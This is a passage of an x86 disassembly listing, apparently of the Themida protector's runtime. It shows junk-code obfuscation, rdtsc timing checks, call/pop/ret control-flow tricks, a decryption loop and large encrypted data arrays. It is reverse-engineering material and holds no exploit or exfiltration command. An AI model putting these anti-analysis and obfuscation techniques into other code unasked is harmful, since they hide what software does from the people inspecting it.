5Bh ; --------------------------------------------------------------------------- loc_581C37: ; CODE XREF: Themida_:00581C2Cj push eax pusha push eax push edx pusha popa rdtsc mov bh, ch pop edx pop eax pusha mov ebx, edx pusha popa popa popa mov [esp], esi jmp loc_581C57 ; --------------------------------------------------------------------------- dw 0E49h db 4, 3Bh, 71h ; --------------------------------------------------------------------------- loc_581C57: ; CODE XREF: Themida_:00581C4Dj mov [ebp+6144266h], esi pusha push edx mov ebx, [ebp+61408A9h] pop esi sbb edx, 0EA9F967h popa mov [ebp+6144282h], ecx mov [ebp+61418B1h], ecx add [ebp+6142AD1h], eax lea esi, [ebp+6144134h] jmp loc_581C91 ; --------------------------------------------------------------------------- dw 0D73Bh dd 0E56BD222h db 0A3h ; --------------------------------------------------------------------------- loc_581C91: ; CODE XREF: Themida_:00581C85j lea eax, dword_5B8EA1[ebp] mov [ebp+614155Dh], esi call eax or [ebp+61406ADh], edi pusha sub [ebp+61400D1h], ecx mov eax, [ebp+6140201h] popa pop esi jmp locret_581CC9 ; --------------------------------------------------------------------------- db 0E9h, 0E5h, 9 dd 4F58A120h, 0A181270Ch, 839791EFh ; --------------------------------------------------------------------------- popa locret_581CC9: ; CODE XREF: Themida_:00581CB4j retn ; --------------------------------------------------------------------------- mov [ebp+61430F9h], edx mov esi, [ebp+6144266h] mov [ebp+6142D99h], esi jmp loc_581CF0 ; --------------------------------------------------------------------------- db 0D9h, 78h, 23h dd 42D63EFh, 880F1C10h, 0BB59816Fh ; --------------------------------------------------------------------------- loc_581CF0: ; CODE XREF: Themida_:00581CDCj mov ecx, [ebp+6144282h] pusha call loc_581D05 leave jmp short loc_581D37 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- das sub al, [edi] dec edx xchg eax, ebx loc_581D05: ; CODE XREF: Themida_:00581CF7p xor [ebp+6141195h], edx pop ecx mov eax, [ebp+614127Dh] popa mov eax, 0 sub [ebp+6140C41h], ecx mov ebx, ecx jmp near ptr loc_581D37+1 ; --------------------------------------------------------------------------- db 53h, 0B8h, 64h dd 2C587858h, 6F2ED1EDh, 81B866D7h db 4Ch, 0F8h, 0Eh ; --------------------------------------------------------------------------- loc_581D37: ; CODE XREF: Themida_:00581CFDj ; Themida_:00581D20j add eax, 9DE9h add ah, bh loc_581D3E: ; CODE XREF: Themida_:00581DDCj xor ah, [esi] cld mov dl, 2 jz loc_581D4F mov [ebp+6143439h], eax loc_581D4F: ; CODE XREF: Themida_:00581D43j pusha stc mov dx, 0C400h popa jmp loc_581DB2 ; --------------------------------------------------------------------------- mov [ebp+61416A5h], ebx loc_581D61: ; CODE XREF: Themida_:00581DB4j xor al, dl jmp loc_581D6F ; --------------------------------------------------------------------------- dd 4F2183D7h db 5Fh, 87h, 57h ; --------------------------------------------------------------------------- loc_581D6F: ; CODE XREF: Themida_:00581D63j add eax, 8A751D7Ah jbe loc_581D7B clc loc_581D7B: ; CODE XREF: Themida_:00581D74j mov cl, ah jmp loc_581D8C ; --------------------------------------------------------------------------- dw 7330h dd 0FCA532E6h, 83D0918h ; --------------------------------------------------------------------------- loc_581D8C: ; CODE XREF: Themida_:00581D7Dj ror eax, cl jge loc_581D9C jo loc_581D9C pusha popa loc_581D9C: ; CODE XREF: Themida_:00581D8Ej ; Themida_:00581D94j xor eax, 98D10842h clc dec dl jg loc_581DB2 ja loc_581DB2 pusha popa loc_581DB2: ; CODE XREF: Themida_:00581D56j ; Themida_:00581DA4j ... or dl, dl jnz loc_581D61 or [ebp+6140715h], ebx mov [ebp+61408DDh], edx dec ebx sub [ebp+61425A1h], edx inc esi pusha mov [ebp+6142F99h], edx mov dx, 0D5C7h popa or ebx, ebx jnz loc_581D3E add [ebp+614065Dh], eax iret ; --------------------------------------------------------------------------- jmp near ptr word_581E02 ; --------------------------------------------------------------------------- dw 0D1Ah dd 8A07EA89h, 73E43F8Ah, 0C509705Ah, 2056195Dh db 0B4h, 61h word_581E02 dw 0 ; CODE XREF: Themida_:00581DE9j dd 0C8E0Fh, 8F0F0000h, 6, 2C1D9529h, 614h, 15CD9D89h, 614h dd 0C830Fh, 8C0F0000h, 6, 840Fh, 0F50000h, 59BD3100h ; --------------------------------------------------------------------------- adc edx, [esi+eax] loc_581E3B: ; CODE XREF: Themida_:loc_5816E4j lea eax, [ebp+6143B4Eh] mov [ebp+6140809h], edx mov [ebp+614069Dh], eax cld lea eax, [ebp+614409Bh] jnb loc_581E5B cmc loc_581E5B: ; CODE XREF: Themida_:00581E54j mov [ebp+6141095h], eax jmp short loc_581E77 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 0E2000000h db 3 dup(0) ; --------------------------------------------------------------------------- loc_581E77: ; CODE XREF: Themida_:00581E61j lea eax, [ebp+6144392h] mov [ebp+614132Dh], eax cmp dword ptr [ebp+61442D3h], 0 jz loc_581FBB mov byte ptr [ebp+6140849h], 56h push 821D1271h xor dword ptr [esp], 56027F48h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax mov [ebp+61442C7h], eax mov byte ptr [ebp+6140849h], 56h push 99197B17h add dword ptr [esp], 38F3D3Bh push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax mov [ebp+61442CBh], eax push 4 call near ptr sub_581EE9 add [eax], dl ; --------------------------------------------------------------------------- db 0 db 0 ; =============== S U B R O U T I N E ======================================= sub_581EE9 proc far ; CODE XREF: Themida_:00581EE0p var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_92 = dword ptr -92h var_8E = dword ptr -8Eh var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_72 = dword ptr -72h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_4E = dword ptr -4Eh var_4A = dword ptr -4Ah var_46 = dword ptr -46h var_42 = dword ptr -42h var_3E = dword ptr -3Eh var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_8 = dword ptr -8 arg_6E26 = dword ptr 6E2Eh arg_6E36 = dword ptr 6E3Eh arg_6E3A = dword ptr 6E42h arg_6E3E = dword ptr 6E46h arg_6E44 = dword ptr 6E4Ch arg_6E48 = dword ptr 6E50h arg_6E4C = dword ptr 6E54h arg_6E50 = dword ptr 6E58h arg_6E54 = dword ptr 6E5Ch arg_6E58 = dword ptr 6E60h arg_6E5C = dword ptr 6E64h arg_6E60 = dword ptr 6E68h arg_6E64 = dword ptr 6E6Ch arg_6E68 = dword ptr 6E70h arg_6E6E = dword ptr 6E76h arg_6E72 = dword ptr 6E7Ah arg_6E76 = dword ptr 6E7Eh arg_6E7A = word ptr 6E82h arg_6E7C = dword ptr 6E84h arg_6E80 = dword ptr 6E88h arg_6E84 = dword ptr 6E8Ch arg_6E8A = dword ptr 6E92h arg_6E8E = dword ptr 6E96h arg_6E92 = dword ptr 6E9Ah arg_6E96 = dword ptr 6E9Eh arg_6E9A = dword ptr 6EA2h arg_6E9E = dword ptr 6EA6h arg_6EA2 = word ptr 6EAAh arg_6EA4 = dword ptr 6EACh arg_6EA8 = dword ptr 6EB0h arg_6EAC = dword ptr 6EB4h arg_6EB2 = dword ptr 6EBAh arg_6EB6 = dword ptr 6EBEh arg_6EBA = dword ptr 6EC2h arg_6EBE = dword ptr 6EC6h arg_6EC2 = dword ptr 6ECAh arg_6EC6 = dword ptr 6ECEh arg_6ECA = dword ptr 6ED2h arg_6ECE = dword ptr 6ED6h arg_6ED2 = dword ptr 6EDAh arg_6ED6 = dword ptr 6EDEh arg_6EDC = dword ptr 6EE4h arg_6EE0 = dword ptr 6EE8h arg_6EE4 = dword ptr 6EECh arg_6EE8 = dword ptr 6EF0h arg_6EEC = dword ptr 6EF4h arg_6EF0 = dword ptr 6EF8h arg_6EF6 = dword ptr 6EFEh arg_6EFA = dword ptr 6F02h arg_6EFE = dword ptr 6F06h arg_6F02 = dword ptr 6F0Ah arg_6F06 = dword ptr 6F0Eh arg_6F0A = dword ptr 6F12h arg_6F0E = dword ptr 6F16h push eax mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax mov eax, [ebp+61442D7h] add eax, 1F4h shl eax, 2 nop push eax nop push 0 call dword ptr [ebp+61442CBh] mov [ebp+61442CFh], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+614132Dh] mov eax, ebx call dword ptr [ebp+614132Dh] jmp loc_581FBB ; --------------------------------------------------------------------------- cmp dword ptr [ebp+61442D3h], 0 jnz loc_581F3C retn ; --------------------------------------------------------------------------- loc_581F3C: ; CODE XREF: sub_581EE9+4Cj push edi mov edi, [ebp+61442CFh] stosd add dword ptr [ebp+61442CFh], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+61442D3h], 0 jnz loc_581F5B retn ; --------------------------------------------------------------------------- loc_581F5B: ; CODE XREF: sub_581EE9+6Bj pusha sub dword ptr [ebp+61442CFh], 4 loc_581F63: ; CODE XREF: sub_581EE9:loc_581FB6j mov ebx, [ebp+61442CFh] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_581F90 push 0E37ABDAFh add [esp+2Ch+var_2C], 1C85C251h push 0 push dword ptr [ebx] call dword ptr [ebp+61442C7h] popa retn ; --------------------------------------------------------------------------- jmp loc_581FB6 ; --------------------------------------------------------------------------- loc_581F90: ; CODE XREF: sub_581EE9+84j call near ptr loc_581F95+4 loc_581F95: ; CODE XREF: sub_581EE9:loc_581F90p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+24h+var_20], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+61442C7h] sub dword ptr [ebp+61442CFh], 4 loc_581FB6: ; CODE XREF: sub_581EE9+A2j jmp loc_581F63 ; --------------------------------------------------------------------------- loc_581FBB: ; CODE XREF: Themida_:00581E8Aj ; sub_581EE9+40j dec eax jmp loc_582994 ; --------------------------------------------------------------------------- sbb dl, ch push 0FFFFFFC1h aaa retf ; --------------------------------------------------------------------------- db 0A1h db 8Dh, 12h dw 6F5Fh dd 32E26F2Eh, 412DF200h, 2DE2297Ch, 64EC7E54h, 0CA26E450h dd 6AF3473Bh, 0AD893CCCh, 3D480085h, 35F07E7Dh, 2E66FD45h dd 27E8591Fh, 68ED6340h, 0C826E402h, 6AF0483Dh, 0B28926CCh dd 3D571A98h, 2EEE6263h, 4568E952h, 30A46D7Ch, 25FC6344h dd 0DD68E550h, 6AE65C3Dh, 0B3C620D5h, 33571498h, 63h dup(0) dd 6AD51A00h, 0BDC73DC8h, 3D481A9Eh, 26EC757Eh, 425F152h dd 62F7687Ah, 2AED7543h, 0D127F702h, 38B44D3Ch, 0BDC73CD0h dd 741A1284h, 2EFA2760h, 5768E255h, 27F07A6Bh, 49823E4Ch dd 0C52DFD72h, 6AB84C21h, 0BBC53CD0h, 741A118Bh, 33E5277Ah dd 4968FD4Fh, 30EB6477h, 2AE93058h, 0C13AB146h, 38F55D21h dd 0BBD072D1h, 6D1A079Fh, 33E4687Ch, 66FD41h, 48h dup(0) dd 6AD51A00h, 0B7C820C6h, 3A481081h, 2EF7277Dh, 4C68FC4Fh dd 20A47A73h, 64E67544h, 0CA3DFE44h, 3FE60936h, 0BAC03CCBh dd 7353558Dh, 34EC7E2Eh, 5D3BB052h, 2FE17D61h, 14851A0Fh dd 0D729F44Eh, 3FB40537h, 0B5C63ECBh, 6953558Eh, 2EF1612Eh dd 4125B04Dh, 3BF6667Fh, 20E67101h, 0D72DE302h, 3EE64826h dd 0A1C62B85h, 6F4A5598h, 20F16061h, 0BE4Dh, 61h dup(0) dd 23D21A00h, 0B78937C9h, 68480785h, 25E6737Eh, 7068BE01h dd 62F7607Ah, 23E76251h, 8425F050h, 6AE7483Ah, 0BACC37C7h dd 735B18CAh, 2DF67767h, 402DE441h, 26EA6832h, 3DE97D01h dd 0A942F440h, 39B35D3Bh, 0B2C73B85h, 784E168Fh, 38E1276Ah dd 7268F100h, 31F17B7Bh, 64FA7F01h, 0C729E341h, 64F04C39h dd 0BDC10685h, 745C5599h, 36A36262h, 506FFE4Fh, 30EB7E32h dd 2AE9304Ah, 0D627FC5Bh, 737h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- loc_582994: ; CODE XREF: sub_581EE9+D3j jmp loc_5857DE ; --------------------------------------------------------------------------- mov bh, dl cld mov ebx, [ebp+6140961h] mov eax, eax or edx, [ebp+6140B15h] mov bx, 0EB15h cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5829C0 cmp dword ptr [ebp+6140E25h], 0 jz short loc_5829D3 loc_5829C0: ; CODE XREF: sub_581EE9+ACCj push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+616A5F4h] call ebx ; _iob pop ebx pop eax loc_5829D3: ; CODE XREF: sub_581EE9+AD5j cmp dword ptr [ebp+6140E25h], 0 jz short loc_5829ED push eax push ebx mov eax, 1 lea ebx, [ebp+616A4A5h] call ebx ; _iob pop ebx pop eax loc_5829ED: ; CODE XREF: sub_581EE9+AF1j jmp loc_582A03 ; --------------------------------------------------------------------------- dw 4FD1h dd 0E1C2B28Fh, 81C9EAD3h, 278837F3h db 0Dh, 54h, 11h ; --------------------------------------------------------------------------- loc_582A03: ; CODE XREF: sub_581EE9:loc_5829EDj call loc_582A14 jmp dword ptr [ecx-66B26403h] ; --------------------------------------------------------------------------- dw 0E250h dd 2CC7CF7Bh ; --------------------------------------------------------------------------- loc_582A14: ; CODE XREF: sub_581EE9:loc_582A03p jmp loc_582A2D ; --------------------------------------------------------------------------- clc or esi, [esi+1FF5F955h] xor eax, 9915E92Bh enter 0FFFF9160h, 0A2h or esi, eax add dh, dl loc_582A2D: ; CODE XREF: sub_581EE9:loc_582A14j pop edx mov eax, eax push 0 push ebx call loc_582A3B and [ebx-3Dh], bl loc_582A3B: ; CODE XREF: sub_581EE9+B4Ap pop ebx mov [esp-6E92h+arg_6E8E], ebx add [esp-6E92h+arg_6E8E], 19h inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0B5h ; --------------------------------------------------------------------------- fucomi st, st(5) xchg eax, esi sti add [edi], ecx mov bh, 0D3h cmp dword ptr [ebp+614202Dh], 0 jz loc_582BC6 mov bh, cl cmp dword ptr [ebp+6142AC1h], 0 jz loc_582BC6 add [ebp+61408DDh], eax pusha mov ebx, [ebp+6141B8Dh] mov eax, [ebp+6142AC1h] push 0 push ecx call loc_582A8E and [ecx-3Dh], bl loc_582A8E: ; CODE XREF: sub_581EE9+B9Dp pop ecx mov [esp+4], ecx add dword ptr [esp+4], 1Dh inc ecx push ecx retn ; --------------------------------------------------------------------------- adc cl, [esi-79198033h] adc al, 0B9h std mov ds:4A96BA66h, eax add eax, 3E8h jg loc_582AB9 mov dl, al loc_582AB9: ; CODE XREF: sub_581EE9+BC8j nop pusha pusha mov ecx, 66342DC6h popa jnb loc_582ACA mov dh, 50h loc_582ACA: ; CODE XREF: sub_581EE9+BD9j popa push eax jb loc_582AD4 mov dh, 0ECh loc_582AD4: ; CODE XREF: sub_581EE9+BE3j nop pusha jmp loc_582AED ; --------------------------------------------------------------------------- db 0AEh dd 0EF755002h, 0F9F6CE65h, 0C848EA90h, 6A0E37C9h ; --------------------------------------------------------------------------- push edi loc_582AED: ; CODE XREF: sub_581EE9+BEDj xor dl, 85h popa lea eax, [ebp+6144DDFh] mov ebx, [ebp+6141A11h] mov bh, 0BAh push eax push eax push edx mov dh, 30h rdtsc mov edx, 2B8ED52Fh pop edx pop eax mov [esp-6E60h+arg_6E58], eax sub [ebp+6142D41h], edx lea eax, [ebp+6144DBDh] stc nop pusha mov edx, esi mov dl, ch popa push eax mov edx, ebx nop cld call dword ptr [ebp+6141239h] mov ebx, [ebp+61407D9h] add esp, 0Ch xor ebx, 24693A2Fh pusha jnz loc_582B48 mov si, di loc_582B48: ; CODE XREF: sub_581EE9+C56j movsx esi, di popa lea eax, [ebp+6144DBDh] mov edx, [ebp+6142B09h] push eax mov [esp-6E64h+arg_6E5C], eax push 0 push ecx call loc_582B67 and [ecx-3Dh], bl loc_582B67: ; CODE XREF: sub_581EE9+C76p pop ecx mov [esp-6E66h+arg_6E60+2], ecx add [esp-6E66h+arg_6E60+2], 1Ch inc ecx push ecx retn ; --------------------------------------------------------------------------- stosb push ecx mov ds:845DBE04h, eax jb short near ptr loc_582B8E+4 and edx, 34F265E9h or [ebp+614000Dh], edx push 2 loc_582B8E: ; CODE XREF: sub_581EE9+C95j or [ebp+61430BDh], esi mov ebx, edx call dword ptr [ebp+6AED14h] add ebx, [ebp+6141EA5h] popa push 0 push ebp call loc_582BAE and [ebp-3Dh], bl loc_582BAE: ; CODE XREF: sub_581EE9+CBDp pop ebp mov [esp-6E7Ch+arg_6E76+2], ebp add [esp-6E7Ch+arg_6E76+2], 15h inc ebp push ebp retn ; --------------------------------------------------------------------------- mov gs, [edx+0A2D8D89h] adc al, 6 loc_582BC6: ; CODE XREF: sub_581EE9+B72j ; sub_581EE9+B81j mov dword ptr [ebp+6144DF0h], 1 mov [ebp+61407E5h], eax push eax push esi jmp loc_582BEE ; --------------------------------------------------------------------------- db 0CEh, 2Fh, 1Eh dd 0E902B114h, 55FA455Eh, 0B167FD15h db 93h, 82h ; --------------------------------------------------------------------------- loc_582BEE: ; CODE XREF: sub_581EE9+CEFj pop edx mov [esp-6E8Ah+arg_6E80+2], esi movzx ebx, di mov [ebp+6144DA1h], esi push 0 push ebx call loc_582C06 and [ebx-3Dh], bl loc_582C06: ; CODE XREF: sub_581EE9+D15p pop ebx mov [esp+4], ebx add dword ptr [esp+4], 14h inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 311Bh dd 142DF585h, 0CDBD8306h, 1061401h, 20850Fh, 0B5890000h dd 61406CDh, 0F05F883h, 1185h, 6DB8100h, 0B843A646h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+61417B5h] cmp dword ptr [ebp+61400E9h], 0 jz loc_582CA3 push edi or [ebp+6142005h], ecx pop edx pusha mov [ebp+6140811h], edi call dword ptr [ebp+61400E9h] push 0 push esi call loc_582C77 and [esi-3Dh], bl loc_582C77: ; CODE XREF: sub_581EE9+D86p pop esi mov [esp-6E6Ah+arg_6E64+2], esi add [esp-6E6Ah+arg_6E64+2], 1Ch inc esi push esi retn ; --------------------------------------------------------------------------- test eax, 702AFCBh rcr dh, cl mov es, word ptr [ecx-45h] sbb byte ptr [edx], 8Ah push edi mov edx, [ebp+61408D9h] mov edx, ebx popa xor bx, 31C6h loc_582CA3: ; CODE XREF: sub_581EE9+D68j cmp dword ptr [ebp+6142BB9h], 0 jz loc_582D0C push 0 push edi call loc_582CBB and [edi-3Dh], bl loc_582CBB: ; CODE XREF: sub_581EE9+DCAp pop edi mov dword ptr [esp-6EA6h+arg_6EA2], edi add dword ptr [esp-6EA6h+arg_6EA2], 15h inc edi push edi retn ; --------------------------------------------------------------------------- sbb [esi], bl push edx mov [ebp+6140F01h], edi pop edx movzx edx, ax mov [ebp+61415F1h], eax mov eax, 0 push 0 push eax call loc_582CEE and [eax-3Dh], bl loc_582CEE: ; CODE XREF: sub_581EE9+DFDp pop eax mov [esp+4], eax add dword ptr [esp+4], 1Bh inc eax push eax retn ; --------------------------------------------------------------------------- dw 0B7BCh dd 0ECE253F8h, 958B9691h, 61416D9h ; --------------------------------------------------------------------------- loc_582D0C: ; CODE XREF: sub_581EE9+DC1j pusha mov bl, dl mov eax, [ebp+6140055h] push edx stc pop ebx add eax, 2 push 0 push ebx call loc_582D26 and [ebx-3Dh], bl loc_582D26: ; CODE XREF: sub_581EE9+E35p pop ebx mov [esp-6E86h+arg_6E80+2], ebx add [esp-6E86h+arg_6E80+2], 16h inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 6262h ; --------------------------------------------------------------------------- xchg eax, esi mov [ebp+6144D99h], eax sbb bx, 0A426h mov byte ptr [eax], 0FFh add [ebp+6142B11h], edx mov [ebp+6142A39h], esi mov byte ptr [ebp+6140849h], 53h push 0 push ecx call loc_582D65 and [ecx-3Dh], bl loc_582D65: ; CODE XREF: sub_581EE9+E74p pop ecx mov [esp+4], ecx add dword ptr [esp+4], 15h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 0E9h, 3Bh, 33h dd 1415CD95h, 129A6806h, 0F60C91Fh, 685h, 0F525000h, 0B8585A31h dd 516914E3h, 24048161h, 3392363Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0A0C35646h, 0B8BBD635h, 0E9B2DABCh dd 0Ah, 0B907AFB6h, 0EDF738BEh, 8B66E73Ah, 65B5FFD9h, 0E906142Ch dd 13h, 0B2130FCDh, 6E1C211Eh, 1D1370E4h, 37BBA32Eh, 8DA57660h dd 1778FE85h, 259D8B06h, 0FF061410h, 89D68BD0h, 14297185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0BD299D2Dh, 0BA7D573Ah, 7F341016h, 0B1BD83FCh dd 1061409h, 0D8850Fh, 6A610000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4001C357h dd 33B71025h, 14024595h, 0D850906h, 0C606140Eh, 14084985h dd 6A4506h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8127BFC3h, 0DF186AF3h, 0F9726817h, 810F5C65h dd 2, 48149B3h, 0FA3F5024h, 51006A7Dh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0E862B4CBh dd 6585094Fh, 0FF061407h, 142C65B5h, 518D8906h, 8D061410h dd 1778FE85h, 5AF85106h, 9501D0FFh, 6140BA5h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0FD6642C3h, 80F9DDFAh, 0D0FFFCEAh, 0BD83D98Ah, 6140A8Dh dd 7E850F01h, 8B000000h, 142A799Dh, 55858B06h, 8B061400h dd 1410ED95h, 56E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0F25F14C3h, 0B239C21Ah dd 0D38B6690h, 6E95150h, 5E000000h, 261D9BEDh, 89905BFFh dd 1413598Dh, 89146A06h, 1400CDBDh, 7195FF06h, 80061429h dd 0F5859E7h, 9D89D8B7h, 61404B5h, 0F003880h, 0FFFFC385h dd 0C6D58AFFh, 0BF0F0100h, 83FC61DBh, 1416F1BDh, 840F0006h dd 7Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h dd 0C9C35343h, 9D29422Dh, 6141075h, 53FF6AFCh, 8DA125BBh dd 95FF5A5Eh, 6142971h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 3BC35646h, 0FFFFD0E9h, 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 9D8B6016h, 614024Dh, 2D658D89h, 0C7610614h, 1416F185h dd 106h, 0E8606000h, 0Ch, 6E64964Ch, 857E155Ch, 3AA6A23h dd 8E959h, 2E2C0000h, 5CA1FC9Ch, 60617976h, 8E0Fh, 9D290000h dd 6140AB5h, 880F6161h, 0Ch, 6820Fh, 880F0000h, 0 ; --------------------------------------------------------------------------- mov [ebp+6144DA5h], eax push 0 push ebp call loc_583089 and [ebp-3Dh], bl loc_583089: ; CODE XREF: sub_581EE9+1198p pop ebp mov [esp-6E82h+arg_6E7C+2], ebp add [esp-6E82h+arg_6E7C+2], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- db 13h, 0C7h, 0D0h dd 1E4C7FB3h, 109D9529h, 0BA660614h, 51901CE0h, 5BDA8B66h dd 0CE850h, 41FF0000h, 34F26920h, 0F750F478h, 8C0FE715h dd 6, 870Fh, 905A0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0E7C35545h, 13A5F3CFh, 81E405E0h, 91958960h dd 6A061419h, 1D850105h, 8D06140Fh, 144DBD85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E6FDBA45h, 8B6E2B94h, 14066D95h, 0BA669006h, 6650073Fh dd 90A0B4BBh, 9819D8Bh, 858D0614h, 6144DADh, 0AF9BD89h dd 66900614h, 507129BAh, 55BD3190h, 0FF061423h, 14164595h dd 0CFBA6606h, 0BA8D8D4Fh, 6A06147Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 979CC350h dd 9D894BE4h, 6140EA5h, 1174C00Bh, 4DBD858Dh, 0FF500614h dd 0DB8589D1h, 0EB06144Dh, 0DB85C70Ah, 0FF06144Dh, 6AFFFFFFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 193CC356h, 58EA8157h, 6646773Ah, 0E9B1DA81h dd 10E861h, 0DC3C0000h, 9005C44Dh, 86962E86h, 199A0A44h dd 2B3B255h, 4985C65Ah, 4D061408h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 99C35141h, 3C93EB3Ah, 79853134h dd 6806140Dh, 5E4A5429h, 10E9h, 20038700h, 7C6D101Bh, 0A828AFD1h dd 0C1F14A7Dh, 240481F3h, 45EB227Fh, 8E960h, 0B90F0000h dd 0CDC3FC76h, 0FF618762h, 14044DB5h, 0EE906h, 32FB0000h dd 0D29D2C68h, 619ADCCh, 690B21E7h, 78FE858Dh, 0D78B0617h dd 9589D0FFh, 6140E61h, 89D08B66h, 1424DD85h, 0E58D0906h dd 0C6061418h, 14084985h, 3BB74506h, 5F50BF68h, 0DBD7BA24h dd 4811407h, 1318AA24h, 80DA8B6Ah, 0B5FF3AE2h, 6142C65h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C1C35747h dd 438A0632h, 188A0Fh, 13E90000h, 0BE000000h, 3E88B867h dd 1DA19FAAh, 0A50059E4h, 60ED5502h, 858D094Ch, 61778FEh dd 0FFD0BF0Fh, 0FD8D89D0h, 89061423h, 14098585h, 69858906h dd 6A061418h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FB7C355h, 684h, 498D0100h, 8B061409h dd 0D3B70FD2h, 89D98C66h, 142E25BDh, 0E58D8906h, 0F6061410h dd 840F04C1h, 2BAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0D7C35646h, 17D59D89h, 7CE90614h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4812C351h, 0CF80FA00h, 6820FFDh, 8B000000h dd 14076595h, 69B58B06h, 66061431h, 8189D3BAh, 1180C6h dd 0E3816600h, 0BD837842h, 6142FE5h, 0D850F00h, 8B000000h dd 1418119Dh, 0EDE906h, 0EFB30000h, 0F003E83h, 0E284h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0E4C87D46h, 6A605Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 53F94BC3h dd 89607EEDh, 141FC58Dh, 306FB906h, 6A610FD0h, 56006A14h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0EBA4F09Dh, 4F14DC55h, 11880F88h, 0E9000000h, 0Ch, 2E789ECDh dd 69EFC990h, 49A07FB7h, 297195FFh, 0BB660614h, 6A61AA24h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 6973C353h, 922452D3h, 38EEEA06h, 28FEBA66h dd 0FFFF33E9h, 59CB81FFh, 0E963F0D1h, 13h, 83D3C892h, 9CFB637Dh dd 0D46CA93Bh, 65FCC0C0h, 0C766CC3Dh, 106h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0BE48402Eh, 8BE777B9h, 141CE59Dh, 89858906h, 8306140Dh dd 144DA5BDh, 850F0506h, 10Ah, 0BAD950Bh, 73BB0614h, 8B5D9759h dd 141869B5h, 5890F06h, 0BA000000h, 2A20F27h, 0B9D6BF0Fh dd 64h, 2FCD9D33h, 3E800614h, 37840FE8h, 0F9000000h, 5DE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0DE62DACCh, 0ACFA62DEh, 8D0FB766h, 6, 4B59D33h dd 7E800614h, 840FC205h, 8Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 7EC35141h, 0F9A294EFh, 6A4680B6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C4ACC353h, 0FB7BBEFAh, 0C6DB80B4h, 67850F49h dd 89FFFFFFh, 142975B5h, 3CE906h, 0F600000h, 58Bh, 0DF8B800h dd 11E82C1Fh, 0D0000000h, 292FAFAEh, 347BB15Fh, 10E73F03h dd 53C2A459h, 2FB9B501h, 61590614h, 10859D01h, 0B5890614h dd 6140ABDh, 18419503h, 6A580614h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1E94C350h dd 0F43CD313h, 76276B84h, 2D91BD83h, 0F000614h, 